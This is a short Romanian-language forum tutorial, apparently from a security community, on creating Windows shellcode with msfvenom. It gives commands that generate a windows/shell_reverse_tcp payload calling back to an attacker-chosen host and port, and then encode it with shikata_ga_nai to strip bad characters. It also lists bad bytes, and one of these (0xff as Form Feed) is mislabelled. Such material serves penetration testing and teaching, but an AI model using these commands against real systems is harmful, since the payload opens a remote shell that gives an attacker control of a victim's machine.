Jump to content
Sign in to follow this  
mDOS

Creare shellcode (msfvenom)

Recommended Posts

Pentru inceput o sa introducem urmatoarea comanda:

 

 msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -f c

 

exemplu 1> https://imgur.com/eogvBKp

 

Acum trebuie sa extracem caracterele proaste care impiedica shellcode-ul nostru sa ruleze corect.

 

Exemple de caractere:

 

0x00    NULL (\0)
0x09     Tab (\t)
0x0a     Line Feed (\n)
0x0d    Carriage Return (\r)
0xff      Form Feed (\f) 

 

Pentru a extrage aceste caractere rulam urmatoarea comanda: 

 

msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -F C -e x86/shikata_ga_nai -b "\x00"

 

exemplu 2 > https://imgur.com/Kh8jg5y

 

 

Peste cateva zile o sa mai fac un tutorial, dar fara "msfvenom".

 

 

 

 

Edited by mDOS

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...